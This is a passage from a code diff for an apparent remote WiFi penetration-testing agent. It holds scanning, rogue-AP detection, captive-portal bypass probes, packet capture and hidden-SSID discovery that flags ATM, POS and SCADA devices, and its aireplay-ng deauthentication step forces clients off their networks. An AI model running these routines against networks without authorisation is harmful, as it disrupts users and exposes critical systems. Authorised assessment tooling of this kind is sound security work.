buf.write('[-] Failed to enter monitor mode\n')
|
|
580
|
+
return None
|
|
581
|
+
|
|
582
|
+
|
|
583
|
+
def _exit_monitor_mode(iface: str, original_iface: str, buf: OutputBuffer | None = None):
|
|
584
|
+
"""Restore interface to managed mode."""
|
|
585
|
+
if buf:
|
|
586
|
+
buf.write(f'[*] Restoring {original_iface} to managed mode...\n')
|
|
587
|
+
_run_quiet(['airmon-ng', 'stop', iface], sudo=True)
|
|
588
|
+
# Restart NetworkManager for managed-mode reconnection
|
|
589
|
+
_run_quiet(['systemctl', 'start', 'NetworkManager'], sudo=True)
|
|
590
|
+
if buf:
|
|
591
|
+
buf.write('[+] Managed mode restored\n')
|
|
592
|
+
buf.flush()
|
|
593
|
+
|
|
594
|
+
|
|
595
|
+
# ── Job executors (P1: managed-mode) ─────────────────────────────────────
|
|
596
|
+
|
|
597
|
+
def execute_scan(client: AegisNodeClient, job: dict):
|
|
598
|
+
"""WiFi network scan — active scan with structured output."""
|
|
599
|
+
jid = job['job_id']
|
|
600
|
+
iface = job.get('parameters', {}).get('interface', 'wlan0')
|
|
601
|
+
buf = OutputBuffer(client, jid)
|
|
602
|
+
|
|
603
|
+
buf.write(f'[*] Active WiFi scan on {iface}...\n')
|
|
604
|
+
code, raw = _exec_cmd(buf, ['iw', 'dev', iface, 'scan'], timeout=60, sudo=True)
|
|
605
|
+
|
|
606
|
+
if code != 0:
|
|
607
|
+
client.send_error(jid, f'Scan failed (exit {code}): {raw[:500]}')
|
|
608
|
+
return
|
|
609
|
+
|
|
610
|
+
networks = _parse_iw_scan(raw)
|
|
611
|
+
buf.write(f'\n[+] Found {len(networks)} network(s)\n')
|
|
612
|
+
for n in networks[:50]:
|
|
613
|
+
buf.write(f' {n["bssid"]} ch{n["channel"]:>3s} {n["signal"]:>10s} '
|
|
614
|
+
f'{n["encryption"]:<10s} {n["ssid"]}\n')
|
|
615
|
+
buf.flush()
|
|
616
|
+
|
|
617
|
+
client.send_result(jid, {
|
|
618
|
+
'networks': networks[:200],
|
|
619
|
+
'network_count': len(networks),
|
|
620
|
+
'interface': iface,
|
|
621
|
+
'raw_output': raw[:50000],
|
|
622
|
+
})
|
|
623
|
+
|
|
624
|
+
|
|
625
|
+
def execute_internal_scan(client: AegisNodeClient, job: dict):
|
|
626
|
+
"""Nmap internal network scan after joining a network."""
|
|
627
|
+
jid = job['job_id']
|
|
628
|
+
targets = job.get('targets', {})
|
|
629
|
+
target = targets.get('network', targets.get('ip', '192.168.1.0/24'))
|
|
630
|
+
params = job.get('parameters', {})
|
|
631
|
+
iface = params.get('interface', '')
|
|
632
|
+
buf = OutputBuffer(client, jid)
|
|
633
|
+
|
|
634
|
+
nmap_args = ['nmap', '-sV', '-O', '--top-ports', '1000']
|
|
635
|
+
if params.get('fast'):
|
|
636
|
+
nmap_args = ['nmap', '-F', '-sV']
|
|
637
|
+
if iface:
|
|
638
|
+
nmap_args += ['-e', iface]
|
|
639
|
+
nmap_args.append(target)
|
|
640
|
+
|
|
641
|
+
buf.write(f'[*] Internal scan: {" ".join(nmap_args)}\n')
|
|
642
|
+
code, out = _exec_cmd(buf, nmap_args, timeout=600, sudo=True)
|
|
643
|
+
if code == 0:
|
|
644
|
+
client.send_result(jid, {'nmap_output': out[:100000], 'target': target})
|
|
645
|
+
else:
|
|
646
|
+
client.send_error(jid, f'Nmap failed (exit {code}): {out[:500]}')
|
|
647
|
+
|
|
648
|
+
|
|
649
|
+
def execute_service_enum(client: AegisNodeClient, job: dict):
|
|
650
|
+
"""Full-port service enumeration on a specific host."""
|
|
651
|
+
jid = job['job_id']
|
|
652
|
+
targets = job.get('targets', {})
|
|
653
|
+
target = targets.get('ip', '')
|
|
654
|
+
if not target:
|
|
655
|
+
client.send_error(jid, 'No target IP specified')
|
|
656
|
+
return
|
|
657
|
+
params = job.get('parameters', {})
|
|
658
|
+
iface = params.get('interface', '')
|
|
659
|
+
buf = OutputBuffer(client, jid)
|
|
660
|
+
|
|
661
|
+
nmap_args = ['nmap', '-sV', '-sC', '-p-']
|
|
662
|
+
if iface:
|
|
663
|
+
nmap_args += ['-e', iface]
|
|
664
|
+
nmap_args.append(target)
|
|
665
|
+
|
|
666
|
+
buf.write(f'[*] Service enumeration on {target}\n')
|
|
667
|
+
code, out = _exec_cmd(buf, nmap_args, timeout=900, sudo=True)
|
|
668
|
+
if code == 0:
|
|
669
|
+
client.send_result(jid, {'enum_output': out[:100000], 'target': target})
|
|
670
|
+
else:
|
|
671
|
+
client.send_error(jid, f'Enumeration failed (exit {code}): {out[:500]}')
|
|
672
|
+
|
|
673
|
+
|
|
674
|
+
def execute_rogue_detect(client: AegisNodeClient, job: dict):
|
|
675
|
+
"""Detect rogue APs by comparing visible networks against known inventory."""
|
|
676
|
+
jid = job['job_id']
|
|
677
|
+
iface = job.get('parameters', {}).get('interface', 'wlan0')
|
|
678
|
+
targets = job.get('targets', {})
|
|
679
|
+
known_ssids = targets.get('known_ssids', [])
|
|
680
|
+
known_bssids = {b.lower() for b in targets.get('known_bssids', [])}
|
|
681
|
+
buf = OutputBuffer(client, jid)
|
|
682
|
+
|
|
683
|
+
buf.write(f'[*] Rogue AP detection scan on {iface}...\n')
|
|
684
|
+
code, raw = _exec_cmd(buf, ['iw', 'dev', iface, 'scan'], timeout=60, sudo=True)
|
|
685
|
+
if code != 0:
|
|
686
|
+
client.send_error(jid, f'Rogue detect scan failed (exit {code}): {raw[:500]}')
|
|
687
|
+
return
|
|
688
|
+
|
|
689
|
+
networks = _parse_iw_scan(raw)
|
|
690
|
+
anomalies = []
|
|
691
|
+
|
|
692
|
+
ssid_to_bssids: dict[str, list[str]] = {}
|
|
693
|
+
for n in networks:
|
|
694
|
+
ssid_to_bssids.setdefault(n['ssid'], []).append(n['bssid'])
|
|
695
|
+
|
|
696
|
+
for ssid, bssids in ssid_to_bssids.items():
|
|
697
|
+
if not ssid:
|
|
698
|
+
continue
|
|
699
|
+
if ssid in known_ssids:
|
|
700
|
+
for bssid in bssids:
|
|
701
|
+
if known_bssids and bssid.lower() not in known_bssids:
|
|
702
|
+
anomalies.append({
|
|
703
|
+
'type': 'unknown_bssid_for_known_ssid',
|
|
704
|
+
'severity': 'high',
|
|
705
|
+
'ssid': ssid, 'bssid': bssid,
|
|
706
|
+
'detail': f'Known SSID "{ssid}" seen on unexpected BSSID {bssid}',
|
|
707
|
+
})
|
|
708
|
+
if len(bssids) > 1 and ssid not in known_ssids:
|
|
709
|
+
pass
|
|
710
|
+
for n in networks:
|
|
711
|
+
if n['ssid'] == ssid and n['encryption'] == 'Open' and ssid in known_ssids:
|
|
712
|
+
anomalies.append({
|
|
713
|
+
'type': 'open_known_ssid',
|
|
714
|
+
'severity': 'critical',
|
|
715
|
+
'ssid': ssid, 'bssid': n['bssid'],
|
|
716
|
+
'detail': f'Known SSID "{ssid}" is broadcasting OPEN (evil twin?)',
|
|
717
|
+
})
|
|
718
|
+
|
|
719
|
+
buf.write(f'\n[+] Scanned {len(networks)} networks, {len(anomalies)} anomalies\n')
|
|
720
|
+
for a in anomalies:
|
|
721
|
+
buf.write(f' [{a["severity"].upper()}] {a["detail"]}\n')
|
|
722
|
+
if not anomalies:
|
|
723
|
+
buf.write(' No rogue APs detected\n')
|
|
724
|
+
buf.flush()
|
|
725
|
+
|
|
726
|
+
client.send_result(jid, {
|
|
727
|
+
'networks': networks[:200],
|
|
728
|
+
'anomalies': anomalies,
|
|
729
|
+
'known_ssids_checked': known_ssids,
|
|
730
|
+
'type': 'rogue_detect',
|
|
731
|
+
})
|
|
732
|
+
|
|
733
|
+
|
|
734
|
+
def execute_network_join(client: AegisNodeClient, job: dict):
|
|
735
|
+
"""Connect to a WiFi network with provided credentials."""
|
|
736
|
+
jid = job['job_id']
|
|
737
|
+
targets = job.get('targets', {})
|
|
738
|
+
ssid = targets.get('ssid', '')
|
|
739
|
+
psk = targets.get('psk', '')
|
|
740
|
+
params = job.get('parameters', {})
|
|
741
|
+
iface = params.get('interface', 'wlan0')
|
|
742
|
+
buf = OutputBuffer(client, jid)
|
|
743
|
+
|
|
744
|
+
if not ssid:
|
|
745
|
+
client.send_error(jid, 'No SSID specified')
|
|
746
|
+
return
|
|
747
|
+
|
|
748
|
+
buf.write(f'[*] Connecting to "{ssid}" on {iface}...\n')
|
|
749
|
+
|
|
750
|
+
# Ensure NetworkManager is running (may have been killed by airmon-ng)
|
|
751
|
+
_run_quiet(['systemctl', 'start', 'NetworkManager'], sudo=True)
|
|
752
|
+
time.sleep(2)
|
|
753
|
+
|
|
754
|
+
if psk:
|
|
755
|
+
code, out = _exec_cmd(buf, ['nmcli', 'dev', 'wifi', 'connect', ssid,
|
|
756
|
+
'password', psk, 'ifname', iface], timeout=30)
|
|
757
|
+
else:
|
|
758
|
+
code, out = _exec_cmd(buf, ['nmcli', 'dev', 'wifi', 'connect', ssid,
|
|
759
|
+
'ifname', iface], timeout=30)
|
|
760
|
+
|
|
761
|
+
if code != 0:
|
|
762
|
+
# Fallback to wpa_supplicant
|
|
763
|
+
buf.write('[*] nmcli failed, trying wpa_supplicant...\n')
|
|
764
|
+
wpa_conf = '/tmp/aegis_wpa.conf'
|
|
765
|
+
conf_block = f'network={{\n ssid="{ssid}"\n'
|
|
766
|
+
if psk:
|
|
767
|
+
conf_block += f' psk="{psk}"\n'
|
|
768
|
+
else:
|
|
769
|
+
conf_block += ' key_mgmt=NONE\n'
|
|
770
|
+
conf_block += '}\n'
|
|
771
|
+
|
|
772
|
+
with open(wpa_conf, 'w') as f:
|
|
773
|
+
f.write(conf_block)
|
|
774
|
+
_run_quiet(['killall', 'wpa_supplicant'], sudo=True)
|
|
775
|
+
code, out = _exec_cmd(buf, ['wpa_supplicant', '-B', '-i', iface,
|
|
776
|
+
'-c', wpa_conf], timeout=15, sudo=True)
|
|
777
|
+
if code == 0:
|
|
778
|
+
buf.write('[*] Requesting DHCP lease...\n')
|
|
779
|
+
_exec_cmd(buf, ['dhclient', iface], timeout=15, sudo=True)
|
|
780
|
+
|
|
781
|
+
time.sleep(3)
|
|
782
|
+
buf.write('\n[*] Checking connectivity...\n')
|
|
783
|
+
|
|
784
|
+
# Get assigned IP
|
|
785
|
+
_, ip_out = _run_quiet(['ip', 'addr', 'show', iface])
|
|
786
|
+
buf.write(ip_out + '\n')
|
|
787
|
+
|
|
788
|
+
assigned_ip = ''
|
|
789
|
+
gateway = ''
|
|
790
|
+
for line in ip_out.splitlines():
|
|
791
|
+
m = re.search(r'inet (\d+\.\d+\.\d+\.\d+)', line)
|
|
792
|
+
if m:
|
|
793
|
+
assigned_ip = m.group(1)
|
|
794
|
+
break
|
|
795
|
+
|
|
796
|
+
_, route_out = _run_quiet(['ip', 'route', 'show', 'dev', iface])
|
|
797
|
+
for line in route_out.splitlines():
|
|
798
|
+
m = re.search(r'default via (\d+\.\d+\.\d+\.\d+)', line)
|
|
799
|
+
if m:
|
|
800
|
+
gateway = m.group(1)
|
|
801
|
+
break
|
|
802
|
+
|
|
803
|
+
# Connectivity test
|
|
804
|
+
ping_code, ping_out = _run_quiet(['ping', '-c', '3', '-W', '3', '-I', iface, '8.8.8.8'])
|
|
805
|
+
connected = ping_code == 0
|
|
806
|
+
|
|
807
|
+
if connected:
|
|
808
|
+
buf.write(f'[+] Connected! IP: {assigned_ip}, Gateway: {gateway}\n')
|
|
809
|
+
else:
|
|
810
|
+
buf.write(f'[-] Connection established but no internet (IP: {assigned_ip})\n')
|
|
811
|
+
buf.write(ping_out + '\n')
|
|
812
|
+
buf.flush()
|
|
813
|
+
|
|
814
|
+
client.send_result(jid, {
|
|
815
|
+
'ssid': ssid,
|
|
816
|
+
'connected': connected,
|
|
817
|
+
'assigned_ip': assigned_ip,
|
|
818
|
+
'gateway': gateway,
|
|
819
|
+
'interface': iface,
|
|
820
|
+
'connectivity_test': ping_out[:2000],
|
|
821
|
+
})
|
|
822
|
+
|
|
823
|
+
|
|
824
|
+
def execute_captive_test(client: AegisNodeClient, job: dict):
|
|
825
|
+
"""Test captive portal bypass techniques."""
|
|
826
|
+
jid = job['job_id']
|
|
827
|
+
targets = job.get('targets', {})
|
|
828
|
+
ssid = targets.get('ssid', '')
|
|
829
|
+
params = job.get('parameters', {})
|
|
830
|
+
iface = params.get('interface', 'wlan0')
|
|
831
|
+
buf = OutputBuffer(client, jid)
|
|
832
|
+
|
|
833
|
+
findings = []
|
|
834
|
+
|
|
835
|
+
if ssid:
|
|
836
|
+
buf.write(f'[*] Connecting to captive network "{ssid}" on {iface}...\n')
|
|
837
|
+
_run_quiet(['systemctl', 'start', 'NetworkManager'], sudo=True)
|
|
838
|
+
time.sleep(2)
|
|
839
|
+
_run_quiet(['nmcli', 'dev', 'wifi', 'connect', ssid, 'ifname', iface])
|
|
840
|
+
time.sleep(3)
|
|
841
|
+
|
|
842
|
+
buf.write('[*] Testing captive portal bypass vectors...\n\n')
|
|
843
|
+
|
|
844
|
+
# 1. DNS resolution to external DNS
|
|
845
|
+
buf.write('[1/5] Testing external DNS resolution (8.8.8.8)...\n')
|
|
846
|
+
code, out = _run_quiet(['nslookup', 'example.com', '8.8.8.8'], timeout=10)
|
|
847
|
+
dns_bypass = code == 0 and 'NXDOMAIN' not in out and 'timed out' not in out.lower()
|
|
848
|
+
if dns_bypass:
|
|
849
|
+
findings.append({'test': 'external_dns', 'result': 'bypass',
|
|
850
|
+
'detail': 'External DNS (8.8.8.8) resolves — DNS tunnel feasible'})
|
|
851
|
+
buf.write(' [!] External DNS resolves — DNS tunnel bypass feasible\n')
|
|
852
|
+
else:
|
|
853
|
+
buf.write(' [OK] External DNS blocked\n')
|
|
854
|
+
buf.flush()
|
|
855
|
+
|
|
856
|
+
# 2. Direct IP access (bypass DNS-based captive portal)
|
|
857
|
+
buf.write('[2/5] Testing direct IP access (1.1.1.1)...\n')
|
|
858
|
+
code, out = _run_quiet(['curl', '-sk', '--connect-timeout', '5',
|
|
859
|
+
'-o', '/dev/null', '-w', '%{http_code}',
|
|
860
|
+
'https://1.1.1.1'], timeout=10)
|
|
861
|
+
direct_ip = out.strip() == '200' if code == 0 else False
|
|
862
|
+
if direct_ip:
|
|
863
|
+
findings.append({'test': 'direct_ip', 'result': 'bypass',
|
|
864
|
+
'detail': 'Direct HTTPS to 1.1.1.1 returns 200 — portal bypassed via IP'})
|
|
865
|
+
buf.write(' [!] Direct HTTPS works — captive portal bypassable via IP\n')
|
|
866
|
+
else:
|
|
867
|
+
buf.write(f' [OK] Direct IP blocked or redirected (code: {out.strip()})\n')
|
|
868
|
+
buf.flush()
|
|
869
|
+
|
|
870
|
+
# 3. HTTP redirect detection (portal fingerprint)
|
|
871
|
+
buf.write('[3/5] Detecting captive portal redirect...\n')
|
|
872
|
+
code, out = _run_quiet(['curl', '-sk', '--connect-timeout', '5',
|
|
873
|
+
'-o', '/dev/null', '-w', '%{redirect_url}',
|
|
874
|
+
'-L', '--max-redirs', '0',
|
|
875
|
+
'http://detectportal.firefox.com/canonical.html'], timeout=10)
|
|
876
|
+
portal_url = out.strip() if out.strip() and 'http' in out else ''
|
|
877
|
+
if portal_url:
|
|
878
|
+
findings.append({'test': 'portal_detect', 'result': 'detected',
|
|
879
|
+
'detail': f'Captive portal redirects to: {portal_url}'})
|
|
880
|
+
buf.write(f' [*] Portal detected: {portal_url}\n')
|
|
881
|
+
else:
|
|
882
|
+
buf.write(' [*] No redirect detected (open or already authenticated)\n')
|
|
883
|
+
buf.flush()
|
|
884
|
+
|
|
885
|
+
# 4. Check for MAC-based session tracking
|
|
886
|
+
buf.write('[4/5] Checking current MAC address...\n')
|
|
887
|
+
_, mac_out = _run_quiet(['ip', 'link', 'show', iface])
|
|
888
|
+
current_mac = ''
|
|
889
|
+
for line in mac_out.splitlines():
|
|
890
|
+
m = re.search(r'link/ether ([0-9a-f:]{17})', line)
|
|
891
|
+
if m:
|
|
892
|
+
current_mac = m.group(1)
|
|
893
|
+
break
|
|
894
|
+
if current_mac:
|
|
895
|
+
buf.write(f' MAC: {current_mac}\n')
|
|
896
|
+
buf.write(' [*] MAC rotation via macchanger can bypass MAC-based session limits\n')
|
|
897
|
+
buf.flush()
|
|
898
|
+
|
|
899
|
+
# 5. ICMP tunnel feasibility
|
|
900
|
+
buf.write('[5/5] Testing ICMP to external host...\n')
|
|
901
|
+
code, out = _run_quiet(['ping', '-c', '2', '-W', '3', '8.8.8.8'], timeout=10)
|
|
902
|
+
icmp_open = code == 0
|
|
903
|
+
if icmp_open:
|
|
904
|
+
findings.append({'test': 'icmp_tunnel', 'result': 'feasible',
|
|
905
|
+
'detail': 'ICMP to external host works — ICMP tunnel feasible'})
|
|
906
|
+
buf.write(' [!] ICMP reaches external — tunnel bypass feasible\n')
|
|
907
|
+
else:
|
|
908
|
+
buf.write(' [OK] ICMP blocked\n')
|
|
909
|
+
buf.flush()
|
|
910
|
+
|
|
911
|
+
buf.write(f'\n[+] Captive portal test complete: {len(findings)} bypass vector(s) found\n')
|
|
912
|
+
buf.flush()
|
|
913
|
+
|
|
914
|
+
client.send_result(jid, {
|
|
915
|
+
'findings': findings,
|
|
916
|
+
'bypass_count': len(findings),
|
|
917
|
+
'portal_url': portal_url,
|
|
918
|
+
'current_mac': current_mac,
|
|
919
|
+
'ssid': ssid,
|
|
920
|
+
})
|
|
921
|
+
|
|
922
|
+
|
|
923
|
+
def execute_capture(client: AegisNodeClient, job: dict):
|
|
924
|
+
"""Packet capture using tcpdump (managed mode)."""
|
|
925
|
+
jid = job['job_id']
|
|
926
|
+
iface = job.get('parameters', {}).get('interface', 'wlan0')
|
|
927
|
+
duration = min(job.get('parameters', {}).get('duration', 60), 300)
|
|
928
|
+
buf = OutputBuffer(client, jid)
|
|
929
|
+
|
|
930
|
+
cap_path = f'/tmp/aegis_capture_{jid}.pcap'
|
|
931
|
+
buf.write(f'[*] Capturing on {iface} for {duration}s → {cap_path}\n')
|
|
932
|
+
code, out = _exec_cmd(buf,
|
|
933
|
+
['timeout', str(duration), 'tcpdump', '-i', iface, '-c', '10000',
|
|
934
|
+
'-w', cap_path],
|
|
935
|
+
timeout=duration + 30, sudo=True)
|
|
936
|
+
buf.write(f'[+] Capture complete: {cap_path}\n')
|
|
937
|
+
buf.flush()
|
|
938
|
+
client.send_result(jid, {'capture_path': cap_path, 'output': out[:5000]})
|
|
939
|
+
|
|
940
|
+
|
|
941
|
+
# ── Job executors (P2: monitor-mode) ─────────────────────────────────────
|
|
942
|
+
|
|
943
|
+
def execute_hidden_scan(client: AegisNodeClient, job: dict):
|
|
944
|
+
"""Discover hidden networks using monitor mode + airodump-ng.
|
|
945
|
+
|
|
946
|
+
Hidden SSIDs (broadcast with empty ESSID) are common on ATMs, POS terminals,
|
|
947
|
+
bank branches, CCTV/NVR systems, SCADA/ICS, building management, and access
|
|
948
|
+
control. This scan:
|
|
949
|
+
1. Enters monitor mode
|
|
950
|
+
2. Runs airodump-ng to capture ALL beacons (including hidden)
|
|
951
|
+
3. Cross-references MACs against critical-infrastructure OUI database
|
|
952
|
+
4. Identifies connected clients whose probe requests may reveal the SSID
|
|
953
|
+
5. Optionally sends targeted deauth to force SSID disclosure (if scope allows)
|
|
954
|
+
"""
|
|
955
|
+
jid = job['job_id']
|
|
956
|
+
params = job.get('parameters', {})
|
|
957
|
+
iface = params.get('interface', 'wlan0')
|
|
958
|
+
duration = min(params.get('duration', 30), 120)
|
|
959
|
+
channel = params.get('channel', '')
|
|
960
|
+
reveal_deauth = params.get('reveal_deauth', False)
|
|
961
|
+
buf = OutputBuffer(client, jid)
|
|
962
|
+
original_iface = iface
|
|
963
|
+
|
|
964
|
+
buf.write('=' * 60 + '\n')
|
|
965
|
+
buf.write('[*] HIDDEN NETWORK DISCOVERY SCAN\n')
|
|
966
|
+
buf.write(f' Duration: {duration}s | Interface: {iface}\n')
|
|
967
|
+
buf.write('=' * 60 + '\n\n')
|
|
968
|
+
|
|
969
|
+
# Step 1: Enter monitor mode
|
|
970
|
+
mon_iface = _enter_monitor_mode(iface, buf)
|
|
971
|
+
if not mon_iface:
|
|
972
|
+
client.send_error(jid, 'Failed to enter monitor mode')
|
|
973
|
+
return
|
|
974
|
+
|
|
975
|
+
try:
|
|
976
|
+
# Step 2: Run airodump-ng
|
|
977
|
+
csv_prefix = f'/tmp/aegis_hidden_{jid}'
|
|
978
|
+
airodump_cmd = ['airodump-ng', mon_iface, '-w', csv_prefix, '--output-format', 'csv']
|
|
979
|
+
if channel:
|
|
980
|
+
airodump_cmd += ['-c', str(channel)]
|
|
981
|
+
|
|
982
|
+
buf.write(f'[*] Running airodump-ng for {duration}s (all channels)...\n')
|
|
983
|
+
buf.write('[*] Listening for hidden SSIDs, client probes, and beacon frames...\n\n')
|
|
984
|
+
|
|
985
|
+
proc = subprocess.Popen(
|
|
986
|
+
['sudo'] + airodump_cmd if os.geteuid() != 0 else airodump_cmd,
|
|
987
|
+
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
|
|
988
|
+
)
|
|
989
|
+
time.sleep(duration)
|
|
990
|
+
proc.terminate()
|
|
991
|
+
try:
|
|
992
|
+
proc.wait(timeout=10)
|
|
993
|
+
except subprocess.TimeoutExpired:
|
|
994
|
+
proc.kill()
|
|
995
|
+
|
|
996
|
+
# Step 3: Parse results
|
|
997
|
+
csv_file = csv_prefix + '-01.csv'
|
|
998
|
+
networks, clients = _parse_airodump_csv(csv_file)
|
|
999
|
+
|
|
1000
|
+
# Separate hidden vs visible
|
|
1001
|
+
hidden_nets = [n for n in networks if n['hidden']]
|
|
1002
|
+
visible_nets = [n for n in networks if not n['hidden']]
|
|
1003
|
+
infra_nets = [n for n in networks if n['critical_infra']]
|
|
1004
|
+
infra_clients = [c for c in clients if c['critical_infra']]
|
|
1005
|
+
|
|
1006
|
+
buf.write(f'[+] Scan complete: {len(networks)} total networks\n')
|
|
1007
|
+
buf.write(f' Hidden SSIDs: {len(hidden_nets)}\n')
|
|
1008
|
+
buf.write(f' Visible SSIDs: {len(visible_nets)}\n')
|
|
1009
|
+
buf.write(f' Critical infrastructure: {len(infra_nets)} networks, '
|
|
1010
|
+
f'{len(infra_clients)} clients\n')
|
|
1011
|
+
buf.write(f' Connected clients observed: {len(clients)}\n\n')
|
|
1012
|
+
|
|
1013
|
+
# Step 4: Report hidden networks with vendor classification
|
|
1014
|
+
if hidden_nets:
|
|
1015
|
+
buf.write('─' * 60 + '\n')
|
|
1016
|
+
buf.write('[!] HIDDEN NETWORKS DISCOVERED\n')
|
|
1017
|
+
buf.write('─' * 60 + '\n')
|
|
1018
|
+
for i, net in enumerate(hidden_nets, 1):
|
|
1019
|
+
vendor = net['vendor'] or _oui_lookup(net['bssid'])
|
|
1020
|
+
buf.write(f'\n [{i}] BSSID: {net["bssid"]}\n')
|
|
1021
|
+
buf.write(f' Channel: {net["channel"]} | '
|
|
1022
|
+
f'Power: {net["power_dbm"]} dBm | '
|
|
1023
|
+
f'Encryption: {net["encryption"]}\n')
|
|
1024
|
+
if vendor:
|
|
1025
|
+
buf.write(f' [!!] VENDOR: {vendor}\n')
|
|
1026
|
+
buf.write(f' ⚠ Likely critical infrastructure device\n')
|
|
1027
|
+
else:
|
|
1028
|
+
buf.write(f' Vendor: Unknown (OUI {net["bssid"][:8]})\n')
|
|
1029
|
+
|
|
1030
|
+
# Find connected clients for this hidden AP
|
|
1031
|
+
ap_clients = [c for c in clients if c['bssid'] == net['bssid']]
|
|
1032
|
+
if ap_clients:
|
|
1033
|
+
buf.write(f' Connected clients: {len(ap_clients)}\n')
|
|
1034
|
+
for cl in ap_clients[:10]:
|
|
1035
|
+
cl_vendor = cl['vendor'] or ''
|
|
1036
|
+
probed = cl.get('probed_ssids', '')
|
|
1037
|
+
buf.write(f' → {cl["station_mac"]}')
|
|
1038
|
+
if cl_vendor:
|
|
1039
|
+
buf.write(f' [{cl_vendor}]')
|
|
1040
|
+
if probed:
|
|
1041
|
+
buf.write(f' probed: {probed}')
|
|
1042
|
+
buf.write('\n')
|
|
1043
|
+
buf.write('\n')
|
|
1044
|
+
buf.flush()
|
|
1045
|
+
|
|
1046
|
+
# Step 5: Report ALL critical infrastructure devices (hidden or not)
|
|
1047
|
+
if infra_nets:
|
|
1048
|
+
buf.write('─' * 60 + '\n')
|
|
1049
|
+
buf.write('[!] CRITICAL INFRASTRUCTURE DEVICES ON WiFi\n')
|
|
1050
|
+
buf.write('─' * 60 + '\n')
|
|
1051
|
+
for net in infra_nets:
|
|
1052
|
+
hidden_tag = ' [HIDDEN]' if net['hidden'] else ''
|
|
1053
|
+
buf.write(f' {net["bssid"]} {net["vendor"]:<35s} '
|
|
1054
|
+
f'ch{net["channel"]:>3s} {net["encryption"]:<8s} '
|
|
1055
|
+
f'{net["ssid"]}{hidden_tag}\n')
|
|
1056
|
+
buf.write('\n')
|
|
1057
|
+
|
|
1058
|
+
if infra_clients:
|
|
1059
|
+
buf.write('[!] Critical infra client devices:\n')
|
|
1060
|
+
for cl in infra_clients:
|
|
1061
|
+
buf.write(f' {cl["station_mac"]} {cl["vendor"]:<35s} '
|
|
1062
|
+
f'→ AP {cl["bssid"]}\n')
|
|
1063
|
+
buf.write('\n')
|
|
1064
|
+
buf.flush()
|
|
1065
|
+
|
|
1066
|
+
# Step 6: Attempt SSID reveal via targeted deauth (if allowed)
|
|
1067
|
+
revealed = {}
|
|
1068
|
+
if reveal_deauth and hidden_nets:
|
|
1069
|
+
buf.write('─' * 60 + '\n')
|
|
1070
|
+
buf.write('[*] SSID REVEAL — targeted deauth (scope-approved)\n')
|
|
1071
|
+
buf.write('─' * 60 + '\n')
|
|
1072
|
+
for net in hidden_nets[:5]:
|
|
1073
|
+
ap_clients = [c for c in clients if c['bssid'] == net['bssid']]
|
|
1074
|
+
if not ap_clients:
|
|
1075
|
+
buf.write(f' {net["bssid"]}: no clients to deauth, skipping\n')
|
|
1076
|
+
continue
|
|
1077
|
+
|
|
1078
|
+
target_client = ap_clients[0]['station_mac']
|
|
1079
|
+
buf.write(f' {net["bssid"]}: deauthing {target_client}...\n')
|
|
1080
|
+
|
|
1081
|
+
# Send 3 deauth frames
|
|
1082
|
+
_run_quiet(['aireplay-ng', '--deauth', '3', '-a', net['bssid'],
|
|
1083
|
+
'-c', target_client, mon_iface], timeout=10, sudo=True)
|
|
1084
|
+
time.sleep(3)
|
|
1085
|
+
|
|
1086
|
+
# Re-scan briefly to catch the probe response
|
|
1087
|
+
reveal_prefix = f'/tmp/aegis_reveal_{jid}_{net["bssid"].replace(":", "")}'
|
|
1088
|
+
reveal_proc = subprocess.Popen(
|
|
1089
|
+
(['sudo'] if os.geteuid() != 0 else []) +
|
|
1090
|
+
['airodump-ng', mon_iface, '-w', reveal_prefix,
|
|
1091
|
+
'--output-format', 'csv', '-c', net['channel'] or '1',
|
|
1092
|
+
'--bssid', net['bssid']],
|
|
1093
|
+
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
|
|
1094
|
+
)
|
|
1095
|
+
time.sleep(8)
|
|
1096
|
+
reveal_proc.terminate()
|
|
1097
|
+
try:
|
|
1098
|
+
reveal_proc.wait(timeout=5)
|
|
1099
|
+
except subprocess.TimeoutExpired:
|
|
1100
|
+
reveal_proc.kill()
|
|
1101
|
+
|
|
1102
|
+
reveal_csv = reveal_prefix + '-01.csv'
|
|
1103
|
+
reveal_nets, _ = _parse_airodump_csv(reveal_csv)
|
|
1104
|
+
for rn in reveal_nets:
|
|
1105
|
+
if rn['bssid'] == net['bssid'] and rn['ssid']:
|
|
1106
|
+
revealed[net['bssid']] = rn['ssid']
|
|
1107
|
+
buf.write(f' [!!] REVEALED: {net["bssid"]} → "{rn["ssid"]}"\n')
|
|
1108
|
+
break
|
|
1109
|
+
else:
|
|
1110
|
+
buf.write(f' {net["bssid"]}: SSID still hidden after deauth\n')
|
|
1111
|
+
|
|
1112
|
+
buf.write('\n')
|
|
1113
|
+
buf.flush()
|
|
1114
|
+
|
|
1115
|
+
# Step 7: Impact assessment
|
|
1116
|
+
buf.write('─' * 60 + '\n')
|
|
1117
|
+
buf.write('[*] SECURITY IMPACT ASSESSMENT\n')
|
|
1118
|
+
buf.write('─' * 60 + '\n')
|
|
1119
|
+
|
|
1120
|
+
risk_findings = []
|
|
1121
|
+
for net in hidden_nets:
|
|
1122
|
+
finding = {
|
|
1123
|
+
'bssid': net['bssid'],
|
|
1124
|
+
'channel': net['channel'],
|
|
1125
|
+
'power_dbm': net['power_dbm'],
|
|
1126
|
+
'encryption': net['encryption'],
|
|
1127
|
+
'vendor': net['vendor'],
|
|
1128
|
+
'critical_infra': net['critical_infra'],
|
|
1129
|
+
'revealed_ssid': revealed.get(net['bssid'], ''),
|
|
1130
|
+
'connected_clients': len([c for c in clients if c['bssid'] == net['bssid']]),
|
|
1131
|
+
}
|
|
1132
|
+
risk = 'INFO'
|
|
1133
|
+
if net['critical_infra']:
|
|
1134
|
+
risk = 'CRITICAL'
|
|
1135
|
+
elif net['encryption'] in ('', 'Open', 'OPN', 'WEP'):
|
|
1136
|
+
risk = 'HIGH'
|
|
1137
|
+
elif finding['connected_clients'] > 0:
|
|
1138
|
+
risk = 'MEDIUM'
|
|
1139
|
+
finding['risk'] = risk
|
|
1140
|
+
risk_findings.append(finding)
|
|
1141
|
+
|
|
1142
|
+
buf.write(f' [{risk}] {net["bssid"]}')
|
|
1143
|
+
if finding['revealed_ssid']:
|
|
1144
|
+
buf.write(f' "{finding["revealed_ssid"]}"')
|
|
1145
|
+
if net['vendor']:
|
|
1146
|
+
buf.write(f' ({net["vendor"]})')
|
|
1147
|
+
buf.write('\n')
|
|
1148
|
+
if risk == 'CRITICAL':
|
|
1149
|
+
